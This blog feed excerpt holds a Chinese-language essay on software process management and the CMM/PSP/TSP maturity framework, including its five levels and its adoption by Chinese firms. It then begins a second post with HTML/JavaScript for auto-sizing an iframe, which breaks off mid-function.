				<font face="Verdana">　　<a href="http://www.itisedu.com/phrase/200603082133465.html" target="_new">软件管理</a>工程引起广泛注意源于20世纪70年代中期。当时美国国防部曾立题专门研究软件项目做不好的原因，发现70%的项目是因为管理不善而引起，而并不是因为技术实力不够，进而得出一个结论，即管理是影响软件研发项目全局的因素，而技术只影响局部。到了20世纪90年代中期，软件管理工程不善的问题仍然存在，大约只有10%的项目能够在预定的费用和进度下交付。软件项目失败的主要原因有：<a href="http://www.itisedu.com/phrase/200603101518295.html" target="_new">需求</a>定义不明确；缺乏一个好的软件开发过程；没有一个统一领导的产品研发小组；子合同管理不严格；没有经常注意改善软件过程；对<a href="http://www.itisedu.com/phrase/200604241327425.html" target="_new">软件构架</a>很不重视；软件界面定义不善且缺乏合适的控制；软件升级暴露了硬件的缺点；关心创新而不关心费用和风险；军用标准太少且不够完善等等。在关系到软件项目成功与否的众多因素中，<a href="http://www.itisedu.com/phrase/200603081545075.html" target="_new">软件度量</a>、工作量估计、项目规划、进展控制、需求变化和<a href="http://www.itisedu.com/phrase/200604240822405.html" target="_new">风险管理</a>等都是与工程管理直接相关的因素。由此可见，软件管理工程的意义至关重要。</font>
		</p>
		<p>
				<font face="Verdana">　　软件管理工程和其它工程管理相比有其特殊性。首先，软件是知识产品，进度和质量都难以度量，生产效率也难以保证。其次，<a href="http://www.itisedu.com/phrase/200602281706245.html" target="_new">软件系统</a>复杂程度也是超乎想象的。因为软件复杂和难以度量，软件管理工程的发展还很不成熟。</font>
		</p>
		<p>
				<font face="Verdana">　　软件管理工程的发展，在经历了从70年代开始以结构化分析与设计、结构化评审、结构化<a href="http://www.itisedu.com/phrase/200602281641255.html" target="_new">程序设计</a>以及结构化测试为特征的结构化生产时代，到90年代中期，以CMM模型的成熟模型和日益为市场接受为标志，已经进入以过程成熟模型CMM、<a href="http://www.itisedu.com/phrase/200603061000265.html" target="_new">个体软件过程</a><a href="http://www.itisedu.com/phrase/200604231319415.html" target="_new">PSP</a>和<a href="http://www.itisedu.com/phrase/200604231333525.html" target="_new">群组软件过程</a><a href="http://www.itisedu.com/phrase/200604231334415.html" target="_new">TSP</a>为标志的以过程为中心的时代，而软件发展第三个时代，及软件工业化生产时代，从90年代中期软件过程技术的成熟和<a href="http://www.itisedu.com/phrase/200603101726185.html" target="_new">面向对象</a>技术、<a href="http://www.itisedu.com/phrase/200604161439595.html" target="_new">构件</a>技术的发展为基础，已经渐露端倪，估计到2005年，可以实现真正的软件工业化生产，这个趋势应该引起软件企业界和有关部门的高度重视，及早采取措施，跟上世界软件发展的脚步。软件生产转向以改善软件过程为中心，是世界各国软件产业或迟或早都要走的道路。</font>
		</p>
		<p>
				<font face="Verdana">　　软件过程改善是当前软件管理工程的核心问题。50多年来计算事业的发展使人们认识到要高效率、高质量和低成本地开发软件，必须改善软件生产过程。软件管理工程走过了一条从70年代开始以结构化分析与设计、结构化评审、结构化<a href="http://www.itisedu.com/phrase/200604232224305.html" target="_new">程序</a>设计以及结构化测试到90年代中期以过程成熟模型CMM、个体软件过程PSP和群组软件过程TSP为标志的以过程为中心向着软件过程技术的成熟和面向<a href="http://www.itisedu.com/phrase/200603090845215.html" target="_new">对象</a>技术、构件技术的发展为基础的真正软件工业化生产的道路。软件生产转向以改善软件过程为中心，是世界各国软件产业或迟或早都要走的道路。软件工业已经或正在经历着"软件过程的成熟化"，并向"软件的工业化"渐进过渡。规范的软件过程是软件工业化的必要条件。</font>
		</p>
		<p>
				<font face="Verdana">　　软件过程研究的是如何将人员、技术和工具等组织起来，通过有效的管理手段，提高软件生产的效率，保证软件产品的质量。由此诞生了软件过程的三个流派：CMU-SEI的CMM/PSP/TSP；ISO 9000质量标准体系；ISO/IEC 15504（SPICE）。</font>
		</p>
		<p>
				<font face="Verdana">　　CMM/PSP/TSP即软件能力成熟度模型/ 个体软件过程/群组软件过程，是1987年美国 Carnegie Mellon 大学软件工程研究所(CMU/SEI)以W.S.Humphrey为首的研究组发表的研究成果"承制方软件工程能力的评估方法"；SO 9000质量标准体系是在70年代由欧洲首先采用的，其后在美国和世界其他地区也迅速地发展起来。目前，欧洲联合会积极促进软件质量的制度化，提出了如下ISO9000软件标准系列：ISO9001、ISO9000-3、ISO9004-2、ISO9004-4、ISO9002；ISO/IEC 15504（SPICE）是1991年国际标准化组织采纳了一项动议，开展调查研究，按照CMU-SEI的基本思路，产生的技术报告ISO/IEC 15504--信息技术软件过程评估</font>
		</p>
		<p>
				<font face="Verdana">　　目前，学术界和工业界公认美国 Carnegie Mellon 大学软件工程研究所(CMU/SEI) 以W.S.Humphrey为首主持研究与开发的软件能力成熟度模型CMM是当前最好的软件过程，已成为业界事实上的软件过程的工业标准。</font>
		</p>
		<p>
				<font face="Verdana">
						<strong>二、CMM的发展</strong>
				</font>
		</p>
		<p>
				<font face="Verdana">　　1987年美国 Carnegie Mellon 大学软件工程研究所(CMU/SEI)以W.S.Humphrey为首的研究组发表了CMM/PSP/TSP 技术，为软件管理工程开辟了一条新的途经。</font>
		</p>
		<p>
				<font face="Verdana">　　CMM框架用5个不断进化的层次来评定软件生产的历史与现状：其中初始层是混沌的过程，可重复层是经过训练的软件过程，定义层是标准一致的软件过程，管理层是可预测的软件过程，优化层是能持续改善的软件过程。任何单位所实施的软件过程，都可能在某一方面比较成熟，在另一方面不够成熟，但总体上必然属于这5个层次中的某一个层次。而在某个层次内部，也有成熟程度的区别。在CMM框架的不同层次中，需要解决带有不同层次特征的软件过程问题。因此，一个软件开发单位首先需要了解自己正处于哪一个层次，然后才能够对症下药地针对该层次的特殊要求解决相关问题，这样才能收到事半功倍的软件过程改善效果。任何软件开发单位在致力于软件过程改善时，只能由所处的层次向紧邻的上一层次进化。而且在由某一成熟层次向上一更成熟层次进化时，在原有层次中的那些已经具备的能力还必须得到保持与发扬。</font>
		</p>
		<p>
				<font face="Verdana">　　软件产品质量在很大程度上取决于构筑软件时所使用的软件开发和维护过程的质量。软件过程是人员密集和设计密集的作业过程：若缺乏有素训练，就难以建立起支持实现成功是软件过程的基础，改进工作亦将难以取得成效。CMM描述的这个框架正是勾列出从无定规的混沌过程向训练有素的成熟过程演进的途径。 </font>
		</p>
		<p>
				<font face="Verdana">　　CMM包括两部分"软件能力成熟度模型"和"能力成熟度模型的关键惯例"。"软件能力成熟度模型"主要是描述此模型的结构，并且给出该模型的基本构件的定义。"能力成熟度模型的关键惯例"详细描述了每个"关键过程方面"涉及的"关键惯例"。这里"关键过程方面"是指一组相关联的活动；每个软件能力成熟度等级包含若干个对该成熟度等级至关重要的过程方面，它们的实施对达到该成熟度等级的目标起到保证作用。这些过程域就称为该成熟度等级的<a href="http://www.itisedu.com/phrase/200603291439315.html" target="_new">关键过程域</a>，反之有非关键过程域是指对达到相应软件成熟度等级的目标不起关键作用。归纳为：互相关联的若干软件实践活动和有关基础设施的一个集合。而"关键惯例"是指使关键过程方面得以有效实现和制度化的作用最大的基础设施和活动,对关键过程的实践起关键作用的方针、规程、措施、活动以及相关基础设施的建立。关键实践一般只描述"做什么"而不强制规定"如何做"。各个关键惯例按每个关键过程方面的5个"公共特性"（对执行该过程的承诺，执行该过程的能力，该过程中要执行的活动，对该过程执行情况的度量和分析，及证实所执行的活动符合该过程）归<a href="http://www.itisedu.com/phrase/200603090857555.html" target="_new">类</a>，逐一详细描述。当作到了某个关键过程的的全部关键惯例就认为实现了该关键过程，实现了某成熟度级及其以低级所含的全部关键过程就认为达到到了了该级。</font>
		</p>
		<p>
				<font face="Verdana">　　 <br />　　上面提到了CMM把软件开发组织的能力成熟度分为5个的等级。除了第1级外，其他每一级由几个关键过程方面组成。每一个关键过程方面都由上述5种公共特性予以表征。CMM给每个关键过程了一些具体目标。按每个公共特性归类的关键惯例是按该关键过程的具体目标选择和确定的。如果恰当地处理了某个关键过程涉及的全部关键惯例，这个关键过程的各项目标就达到了，也就表明该关键过程实现了。这种成熟度分级的优点在于，这些级别明确而清楚地反映了过程改进活动的轻重缓急和先后顺序。</font>
		</p>
		<p>
		</p>
		<table cellspacing="0" cellpadding="0" width="632" align="center" border="1">
				<tbody>
						<tr>
								<td width="125">能力等级</td>
								<td width="247">特点</td>
								<td width="252">关键过程</td>
						</tr>
						<tr>
								<td width="125">第一级 基本级</td>
								<td width="247">软件过程是混乱无序的,对过程几乎没有定义,成功依靠的是个人的才能和经验,管理方式属于反应式</td>
								<td width="252"> </td>
						</tr>
						<tr>
								<td width="125">第二级 重复级</td>
								<td width="247">建立了基本的<a href="http://www.itisedu.com/phrase/200604240825565.html" target="_new">项目管理</a>来跟踪进度.费用和功能特征,制定了必要的项目管理,能够利用以前类似的项目应用取得成功</td>
								<td width="252">
										<a href="http://www.itisedu.com/phrase/200603282323585.html" target="_new">需求管理</a>,项目计划,项目跟踪和监控,软件子合同管理,<a href="http://www.itisedu.com/phrase/200603081443505.html" target="_new">软件配置管理</a>,软件质量保障</td>
						</tr>
						<tr>
								<td width="125">第三级 确定级 </td>
								<td width="247">已经将软件管理和过程文档化,标准化,同时综合成该组织的标准软件过程,所有的软件开发都使用该标准软件过程</td>
								<td width="252">组织过程定义,组织过程焦点,培训大纲,软机集成管理,软件产品工程,组织协调,专家审评</td>
						</tr>
						<tr>
								<td width="125">第四级 管理级</td>
								<td width="247">收集软件过程和产品质量的详细度量,对软件过程和产品质量有定量的理解和控制</td>
								<td width="252">定量的软件过程管理和产品质量管理</td>
						</tr>
						<tr>
								<td width="125">第五级 优化级</td>
								<td width="247">软件过程的量化反馈和新的思想和技术促进过程的不断改进</td>
								<td width="252">缺陷预防,过程变更管理和技术变更管理</td>
						</tr>
				</tbody>
		</table>
		<p>
				<font face="Verdana">　　对于CMM的作用归纳两个主要方面: 科学地评价软件开发单位的软件能力成熟等级; 帮助软件开发单位进行自检，了解自己的强项和弱项，从而不断完善和改进单位的软件开发过程，确保软件质量，提高软件开发能效率。<br /></font>
		</p>
		<font face="Verdana">
				<p>
						<font face="Verdana">　　由于CMM并未提供有关实现CMM关键过程域所需的具体知识和技能，因此，美国 Carnegie Mellon 大学软件工程研究所(CMU/SEI) 以W.S.Humphrey为首主持研究与开发了个体软件过程PSP（<a href="http://www.itisedu.com/phrase/200604231320005.html" target="_new">Personal software process</a>）和群组软件过程TSP(<a href="http://www.itisedu.com/phrase/200604231345425.html" target="_new">Team</a><a href="http://www.itisedu.com/phrase/200604232214575.html" target="_new">Software Process</a>)，形成CMM/PSP/TSP体系。</font>
				</p>
				<p>
						<font face="Verdana">　　PSP 个体软件过程（Personal Software Process）是由美国Carnegie Mellon大学软件工程研究所(CMU/SEI)的Watts s. Humphrey领导开发的，于1995年它的推出，在软件工程界引起了极大的轰动，可以说是由定向软件工程走向定量软件工程的一个标志。PSP是一种可用于控制、管理和改进个人工作方式的自我改善过程，是一个包括软件开发表格、指南和规程的结构化框架。 PSP为基于个体和小型群组软件过程的优化提供了具体而有效的途径，例如如何制订计划，如何控制质量，如何与其他人相互协作等等。在软件设计阶段， PSP的着眼点在于<a href="http://www.itisedu.com/phrase/200603111651085.html" target="_new">软件缺陷</a>的预防，其具体办法是强化设计结束准则，而不是设计方法的选择。PSP保障软件产品质量的一个重要途径是提高设计质量。</font>
				</p>
				<p>
						<font face="Verdana">　　PSP能够说明个体软件过程的原则；帮助软件工程师作出准确的计划；确定软件工程师为改善产品质量要采取的步骤；建立度量个体软件过程改善的基准；确定过程的改变对软件工程师能力的影响。</font>
				</p>
				<p>
						<font face="Verdana">　　TSP　群组软件过程TSP(Team Software Process)指导项目组中的成员如何有效地规划和管理所面临的项目开发任务，并且告诉管理人员如何指导软件开发队伍。始终以最佳状态来完成工作。TSP实施集体管理与自己管理自己相结合的原则，最终目的在于指导开发人员如何在最少的时间内，以预定的费用生产出高质量的软件产品，所采用的方法是对群组开发过程的定义、度量和改进。</font>
				</p>
				<p>
						<font face="Verdana">　　TSP致力于开发高质量的产品，建立、管理和授权项目小组，并且指导他们如何在满足计划费用的前提下，在承诺的期限范围内，不断生产并交付高质量的产品。 </font>
				</p>
				<font face="Verdana">
						<p>　　CMM是过程改善的第一步，它提供了评价组织的能力、识别优先改善需求和追踪改善进展的管理方式。企业只有开始CMM改善后，才能接受需要规划的事实，认识到质量的重要性，才能注重对员工经常进行培训,合理分配项目人员,并且建立起有效的项目小组。然而，它实现的成功与否与组织内部有关人员的积极参加和创造性活动密不可分。</p>
						<p>　　PSP能够指导软件工程师如何保证自己的工作质量，估计和规划自身的工作，度量和追踪个人的表现，管理自身的软件过程和产品质量。经过PSP学习和实践的正规训练，软件工程师们能够在他们参与的项目工作之中充分运用PSP，从而有助于CMM目标的实现。</p>
						<p>　　TSP结合了CMM的管理方法和PSP的工程技能，通过告诉软件工程师如何将个体过程结合进小组软件过程，并将后者与　组织进而整个管理系统相联系；通过告诉管理层如何支持和授权项目小组，坚持高质量的工作，并且依据数据进行项　目的管理，向组织展示如何应用CMM的原则和PSP的技能去生产高质量的产品。</p>
						<p>　　总之，单纯实施CMM，永远不能真正做到能力成熟度的升级，只有将实施CMM与实施PSP和TSP有机地结合起来，才能发挥最大的效力。因此，软件过程框架应该是CMM/PSP/TSP的有机集成。</p>
						<p>
								<font face="Verdana">
										<strong>三、实施CMM的必要性</strong>
								</font>
						</p>
						<p>
								<font face="Verdana">　　软件开发的风险之所以大，是由于软件过程能力低，其中最关键的问题在于软件开发组织不能很好地管理其软件过程，从而使一些好的开发方法和技术起不到预期的作用。而且项目的成功也是通过工作组的杰出努力，所以仅仅建立在可得到特定人员上的成功不能为全组织的生产和质量的长期提高打下基础，必须在建立有效的软件如管理工程实践和管理实践的基础设施方面，坚持不懈地努力，才能不断改进，才能持续地成功。</font>
						</p>
						<p>
								<font face="Verdana">　　软件质量是一模糊的、捉摸不定的概念。我们常常听说：某某软件好用, 某某软件不好用；某某某软件功能全、结构合理, 某某某软件功能单一、操作困难……这些模模糊糊的语言不能算作是软件质量评价，更不能算作是软件质量科学的定量的评价。软件质量，乃至于任何产品质量，都是一个很复杂的事物性质和行为。产品质量，包括软件质量，是人们实践产物的属性和行为，是可以认识，可以科学地描述的。可以通过一些方法和人类活动，来改进质量。</font>
						</p>
						<p>
								<font face="Verdana">　　实施CMM是改进软件质量的有效方法:控制软件生产过程、提高软件生产者组织性和软件生产者个人能力的有效合理的方法软件工程和很多研究领域及实际问题有关，主要相关领域和因素有：<a href="http://www.itisedu.com/phrase/200603282310205.html" target="_new">需求工程</a>(RE：REQUIREMENTS ENGINEERING)。理论上，需求工程是应用已被证明的原理、技术和工具，<a href="http://www.itisedu.com/phrase/200604231414405.html" target="_new">帮助系统</a>分析人员理解问题或描述产品的外在行为。<a href="http://www.itisedu.com/phrase/200602281831545.html" target="_new">软件复用</a>(SR：<a href="http://www.itisedu.com/phrase/200604232219315.html" target="_new">SOFTWARE REUSE</a>)。定义为利用工程知识或方法，由一已存在的系统，来建造一新系统。这种技术，可改进软件产品质量和生产率。还有软件检查、软件计量、软件可靠性、软件可维修性、<a href="http://www.itisedu.com/phrase/200602282117345.html" target="_new">软件工具</a>评估和选择等。 </font>
						</p>
						<p>
								<font face="Verdana">
										<strong>四、CMM在中国的现状</strong>
								</font>
						</p>
						<p>
								<font face="Verdana">　　中国生产力促进协会、北航SEI、中科院研究SEI等科研机构已于近几年在北京、上海、广州和深圳等地先后举办过多次报告会和研讨会，组织过课程学习和应用实验，开展了软件过程方面的研究与开发工作，并发表了多篇的研究成果和学术论文，在软件质量保障平台支撑环境也取得了一定的成果。</font>
						</p>
						<p>
								<font face="Verdana">　　近两年来，CMM在我国获得了各界越来越多关注，业界有过多次关于CMM的讨论，2000年6月国务院颁发的《鼓励软件产业和集成电路产业发展的若干政策》对中国软件企业申请CMM认证给予了积极的支持和推动作用,第17条规定"对软件出口型企业CMM认证费用予以适当支持。"2000年中国村<a href="http://www.itisedu.com/phrase/200604231234155.html" target="_new">电脑</a>节上还有CMM专题论坛，吸引了众多业内人士。鼎新、东大阿尔派、联想、方正、金蝶、用友、浪潮、创智、华为、东大阿尔派等大型集团或企业等都从1997---2000年起批企业都在进行研究、实验或实施预评估。其中鼎新公司从1997年着手进行CMM认证工作。1999年7月通过第三方认证机构的CMM2认证。东大阿尔派公司于2000年10月通过第三方认证机构的CMM2认证。2001年1月，联想软件经过英国路透集团的严格评估，顺利通过CMM2认证。2001年6月26日，沈阳东软软件股份有限公司（原沈阳东大阿尔派软件股份有限公司）正式通过了CMM3级认证，成为中国首家通过CMM3级的软件企业。</font>
						</p>
						<p>
								<font face="Verdana">　　总体上讲，国内对软件过程理论的讨论与实践正在展开，目标是使软件的质量管理和控制达到国际先进水平，中国的软件产业获得可持续发展的能力。专家分析，在未来两三年内，国内软件业势必将出现实施CMM的高潮。从这一趋势看，中国的软件企业已经开始走上标准化、规范化、国际化的发展道路，中国软件业已经面临一个整体突破的时代。</font>
						</p>
						<p>
								<font face="Verdana">　　但是我们应该看到目前国内对软件管理工程存在的最大问题是认识不足。管理实际上是一把手工程，需要高层管理人员的足够重视。而且软件过程的重大修改也必须由高层管理部门启动，这是软件过程改善能否进行到底的关键。此外，软件过程的改善还有待于全体有关人员的积极参与。</font>
						</p>
						<p>
								<font face="Verdana">　　除了要认识到过程改善工作是一把手工程这个关键因素外，还应认识到软件过程成熟度的升级本身就是一个过程，且有一个生命周期。过程改善工作需要循序渐进，不能一蹴而就，需要持续改善，不能停滞不前；需要联系实际，不能照本宣科；需要适应变革，不能凝固不变。一个有效的途径是自顶向下的课程培训，即从高层主管依次普及到下面的工程师。</font>
						</p>
						<p>
								<font face="Verdana">
										<strong>五、<a href="http://www.itisedu.com/phrase/200604231316585.html" target="_new">CM</a>M<a href="http://www.itisedu.com/phrase/200603122156385.html" target="_new">体系结构</a></strong>
								</font>
						</p>
						<p>
								<font face="Verdana">      一个企业软件能力类似于一个人在一个特定领域的能力，是逐步获得和增长的。如果一个人在其领域的发展过程中能得到一个很好的指南，那么他或她就会不断达到一个个设定的目标，并变得成熟起来，否则可能会盲目发展，离自己的目标越来越远，甚至南辕北辙。一个企业的软件能力发展也同样需要一个良好的指南，SW-CMM正是这样一个指南，它以几十年产品质量概念和软件工业的经验及教训为基础，为企业软件能力不断走向成熟提供了有效的步骤和框架。</font>
						</p>
						<p>
								<font face="Verdana">
										<strong>      框架</strong>
								</font>
						</p>
						<p>
								<font face="Verdana">      SW-CMM为软件企业的过程能力提供了一个阶梯式的进化框架，阶梯共有五级。第一级实际上是一个起点，任何准备按CMM体系进化的企业都自然处于这个起点上，并通过这个起点向第二级迈进。除第一级外，每一级都设定了一组目标，如果达到了这组目标，则表明达到了这个成熟级别，可以向下一个级别迈进。CMM体系不主张跨越级别的进化，因为从第二级起，每一个低的级别实现均是高的级别实现的基础。</font>
						</p>
						<p>
								<font face="Verdana">1.初始级<br />      初始级的软件过程是未加定义的随意过程，项目的执行是随意甚至是混乱的。也许，有些企业制定了一些软件工程规范，但若这些规范未能覆盖基本的关键过程要求，且执行没有政策、资源等方面的保证时，那么它仍然被视为初始级。</font>
						</p>
						<p>
								<font face="Verdana">2.可重复级<br />      根据多年的经验和教训，人们总结出软件开发的首要问题不是技术问题而是管理问题。因此，第二级的焦点集中在软件管理过程上。一个可管理的过程则是一个可重复的过程，一个可重复的过程则能逐渐进化和成熟。第二级的管理过程包括了需求管理、项目管理、质量管理、<a href="http://www.itisedu.com/phrase/200602271137552.html" target="_new">配置管理</a>和子合同管理五个方面。其中项目管理分为计划过程和跟踪与监控过程两个过程。通过实施这些过程，从管理角度可以看到一个按计划执行的且阶段可控的软件开发过程。</font>
						</p>
						<p>
								<font face="Verdana">3.定义级<br />      在第二级仅定义了管理的基本过程，而没有定义执行的步骤标准。在第三级则要求制定企业范围的工程化标准，而且无论是管理还是工程开发都需要一套文档化的标准，并将这些标准集成到企业软件开发标准过程中去。所有开发的项目需根据这个标准过程，剪裁出与项目适宜的过程，并执行这些过程。过程的剪裁不是随意的，在使用前需经过企业有关人员的批准。</font>
						</p>
						<p>
								<font face="Verdana">4.管理级<br />      第四级的管理是量化的管理。所有过程需建立相应的度量方式，所有产品的质量(包括工作产品和提交给用户的产品)需有明确的度量指标。这些度量应是详尽的，且可用于理解和控制软件过程和产品。量化控制将使软件开发真正变成为一种工业生产活动。</font>
						</p>
						<p>
								<font face="Verdana">5.优化级<br />      第五级的目标是达到一个持续改善的境界。所谓持续改善是指可根据过程执行的反馈信息来改善下一步的执行过程，即优化执行步骤。如果一个企业达到了这一级，那么表明该企业能够根据实际的项目性质、技术等因素，不断调整软件生产过程以求达到最佳。</font>
						</p>
						<p>
								<font face="Verdana">
										<strong>      结构</strong>
								</font>
						</p>
						<p>
								<font face="Verdana">      除第一级外，SW-CMM的每一级是按完全相同的结构构成的。每一级包含了实现这一级目标的若干关键过程域(<a href="http://www.itisedu.com/phrase/200604240851385.html" target="_new">KPA</a>)，每个KPA进一步包含若干关键实施活动(KP)，无论哪个KPA，它们的实施活动都统一按五个公共属性进行组织，即每一个KPA都包含五类KP。</font>
						</p>
						<p>
								<font face="Verdana">1.目标<br />      每一个KPA都确定了一组目标。若这组目标在每一个项目都能实现，则说明企业满足了该KPA的要求。若满足了一个级别的所有KPA要求，则表明达到了这个级别所要求的能力。</font>
						</p>
						<p>
								<font face="Verdana">2.实施保证<br />      实施保证是企业为了建立和实施相应KPA所必须采取的活动，这些活动主要包括制定企业范围的政策和高层管理的责任。</font>
						</p>
						<p>
								<font face="Verdana">3.实施能力<br />      实施能力是企业实施KPA的前提条件。企业必须采取措施，在满足了这些条件后，才有可能执行KPA的执行活动。实施能力一般包括资源保证、人员培训等内容。</font>
						</p>
						<p>
								<font face="Verdana">4.执行活动<br />      执行过程描述了执行KPA所需求的必要角色和步骤。在五个公共属性中，执行活动是唯一与项目执行相关的属性，其余四个属性则涉及企业CMM能力基础设施的建立。执行活动一般包括计划、执行的任务、任务执行的跟踪等。</font>
						</p>
						<p>
								<font face="Verdana">5.度量分析<br />      度量分析描述了过程的度量和度量分析要求。典型的度量和度量分析的要求是确定执行活动的状态和执行活动的有效性。</font>
						</p>
						<p>
								<font face="Verdana">6.实施验证<br />      实施验证是验证执行活动是否与所建立的过程一致。实施验证涉及到管理方面的评审和审计以及质量保证活动。<br />      在实施CMM时，可以根据企业软件过程存在问题的不同程度确定实现KPA的次序，然后按所确定次序逐步建立、实施相应过程。在执行某一个KPA时，对其目标组也可采用逐步满足的方式。过程进化和逐步走向成熟是CMM体系的宗旨。</font>
						</p>
						<font face="Verdana">
								<p>
										<font face="Verdana">
												<strong>六、CMM实施的思考</strong>
										</font>
								</p>
								<p>
										<font face="Verdana">　　上面重点介绍了CMM,但是提醒注意的是，并不是实施了CMM，软件项目的质量就能有所保障。CMM是一种资质认证，它可以证明一个软件企业对整个软件开发过程的控制能力。按照CMM的思想进行管理与通过CMM认证并不能划等号。CMM认证并不仅仅是在评估软件企业的生产能力，整个评估过程同时还在帮助企业完善已经按照CMM建立的科学<a href="http://www.itisedu.com/phrase/200603110944215.html" target="_new">工作流</a>程，发现企业在软件质量、生产进度以及成本控制等方面可能存在的问题，并且及时予以纠正。认证的过程是纠正企业偏差的过程，一定不能把CMM认证当作一种考试、一种文凭，而是要看成一项有利于企业今后发展的投资，借此来改变中国软件业长久以来形成的积弊。 </font>
								</p>
								<p>
										<font face="Verdana">　　实施CMM对软件企业的发展起着至关重要的作用，CMM过程本身就是对软件企业发展历程的一个完整而准确的描述，企业通过实施CMM，可以更好地规范软件生产和管理流程，使企业组织规范化。企业通过CMM不是为了满足其他公司的要求，而是为了让企业更好地发展，为企业进一步扩大规模打下坚实的基础。如果企业只是为了获得一纸证书而通过CMM，那么就已经本末倒置了，对企业的长久发展反而有害。试想如果企业的态度不够端正，即使通过CMM认证，企业又怎么能够保证它在以后的操作过程当中继续坚持CMM规范呢？CMM只是一个让企业更好发展的规范，不应该成为企业炒作自己的工具，企业需要的是优化自己的管理、提高产品的质量，而非一张CMM证书。 </font>
								</p>
								<p>
										<font face="Verdana">　　CMM不是万能的，它的成功与否，与一个组织内部有关人员的积极参与和创造性活动是密不可分的，而且CMM并未提供实现有关子过程域所需要的具体知识和技能。在国内要想取得过程改进成功，必须做好以下的几点:<a href="http://www.itisedu.com/phrase/200603281517035.html" target="_new">软件过程改进</a>必须有高级主管的支持与委托，并积极地管理过程改进的进展;中层管理的积极支持;责任分明，过程改进小组的威望高;基层的支持与参与极端重要;利用定量的可观察数据，尽快使过程改进成果可见，从而激励参与者的兴趣;将实施CMM与实施PSP和TSP有机地结合起来;为企业的商业利益服务，并要求同时相符的企业文化变革。</font>
								</p>
								<p>
										<font face="Verdana">　　应该看到,过程改善工作必然具有一切过程所具有的固有特征，即需要循序渐进，不能一蹴而就需要持续改善，不能停滞不前；需要联系实际，不能照本宣读需要适应变革，不能凝固不变。将CMM／PSP／TSP引人软件企业最有效的途径首先要对单位主管和主要开发人员进行系统的培训。另外一个有效的途径是自顶向下的课程培训，即从高层主管依次普及到下面的工程师。培训包括最基本的软件工程和CMM培训知识；专业领域知识等方面的培训；软件过程方面的培训。不过强调一点，我们必须根据自身的实际制定可行的方案。不深入研究就照搬别的企业的<a href="http://www.itisedu.com/phrase/200603061709535.html" target="_new">模式</a>是很难起到提高软件产品质量水平的真正目的的。</font>
								</p>
								<p>
										<font face="Verdana">　　CMM模型划分为5个级别，共计18个关键过程域，52个目标，300多个关键实践。每一个CMM等级的评估周期（从准备到完成）约需12-30个月。此期间应抽调企业中有管理能力、组织能力和软件开发能力的骨干人员,成立专门的CMM实施领导小组或专门的机构。同时设立软件工程过程组、软件工程组、系统工程组、<a href="http://www.itisedu.com/phrase/200603111950135.html" target="_new">系统测试</a>组、需求管理组、<a href="http://www.itisedu.com/phrase/200603281053475.html" target="_new">软件项目计划</a>组、软件项目跟踪与监督、软件配置管理组、<a href="http://www.itisedu.com/phrase/200603081234105.html" target="_new">软件质量保证</a>组、培训组。各个小组完成自己的任务同时协调其他小组的工作。然后制定和完善软件过程, 按照CMM规范评估这个过程。CMM正式评估由CMU/SEI授权的主任评估师领导一个评审小组进行，评估过程包括员工培训、问卷调查和统计、文档审查、数据分析、与企业的高层领导讨论和撰写评估报告等，评估结束时由主任评估师签字生效。此后最关键的就是根据评估结果改进软件过程,使CMM评估对于软件过程改进所应具有的作用得到最好的发挥。</font>
								</p>
								<p>
										<font face="Verdana">　　现在国内软件产业的发展可以说已经具有一定规模了，但除了北大方正、东大阿尔派、用友等大企业外，做软件工程项目更多的是一些规模在数十人左右的中小企业, 目前处于CMM的初级阶段，没有基础和经验。也许有人会问，像这样一些人力物力资源匮乏的企业，如何进行软件开发项目的管理呢？我建议这些中小企业可以以CMM为框架，先从PSP做起，然后在些基础上逐渐过渡到TSP，以保证CMM/PSP/TSP确实在企业中生根开花。总之，我们必须从软件过程、过程工程的角度来看待CMM的发展，从经济学的观点来分析这个过程的价值。我相信在实施CMM/PSP/TSP的过程中，只要坚持改善软件工程的管理，并在实践中注意总结适合自身的经验，一定能取得很好的效果。 </font>
								</p>
						</font>
				</font>
		</font>
<img src ="http://www.blogjava.net/bcims/aggbug/89381.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2006-12-21 22:58 <a href="http://www.blogjava.net/bcims/archive/2006/12/21/89381.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>iframe自动适应网页高度</title><link>http://www.blogjava.net/bcims/archive/2006/12/16/88084.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Fri, 15 Dec 2006 18:01:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2006/12/16/88084.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/88084.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2006/12/16/88084.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/88084.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/88084.html</trackback:ping><description><![CDATA[
		<div>
				<p>在同一个页面里也可以用的  <br />&lt;IFRAME name=frame marginWidth=0 <br />marginHeight=0 <br />src="index.asp" <br />frameBorder=no width=100%  height="100%"  scrolling=auto <br />&gt;&lt;/IFRAME&gt;<br /><br /><br />&lt;html&gt;  <br />    &lt;head&gt;  <br />       &lt;meta  http-equiv='Content-Type'  content='text/html;  charset=gb2312' /&gt;  <br />             &lt;title&gt;iframe自适应加载的页面高度&lt;/title&gt;  <br />    &lt;/head&gt;  <br />     <br />    &lt;body&gt;<br />        &lt;div&gt;&lt;iframe src="child.htm"&gt;&lt;/iframe&gt;&lt;/div&gt;<br />    &lt;/body&gt;<br />&lt;/html&gt;</p>
				<p>child.htm:</p>
				<p>&lt;html&gt;  <br />&lt;head&gt;  <br />    &lt;meta  http-equiv='Content-Type'  content='text/html;  charset=gb2312' /&gt;  <br />    &lt;meta  name='author'  content='F.R.Huang(meizz梅花雪)//www.meizz.com' /&gt;  <br />    &lt;title&gt;iframe  自适应其加载的网页(多浏览器兼容)&lt;/title&gt;  <br />    &lt;script type="text/javascript"&gt;<br />    &lt;!--<br />    function iframeAutoFit()<br />    {<br />        try<br />        {<br />            if(window!=parent)<br />            {<br />                var a = parent.document.getElementsByTagName("IFRAME");<br />                for(var i=0; i&lt;a.length; i++) //author:meizz<br />                {<br />                    if(a[i].contentWindow==window)<br />                    {<br />                        var h1=0, h2=0;<br />                        a[i].parentNode.style.height = a[i].offsetHeight +"px";<br />                        a[i].style.height = "10px";<br />                        if(document.documentElement&amp;&amp;document.documentElement.scrollHeight)<br />                        {<br />                            h1=document.documentElement.scrollHeight;<br />                        }<br />                        if(document.body) h2=document.body.scrollHeight;</p>
